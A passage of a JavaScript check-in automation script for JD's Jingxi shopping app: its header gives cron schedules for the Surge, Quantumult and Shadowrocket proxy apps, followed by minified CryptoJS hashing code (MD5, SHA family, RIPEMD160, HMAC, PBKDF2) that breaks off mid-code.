script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js,tag=京喜签到-喜豆 + +===============Surge================= +京喜签到-喜豆 = type=cron,cronexp="30 2,9 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js + +============小火箭========= +京喜签到-喜豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, cronexpr="30 2,9 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; 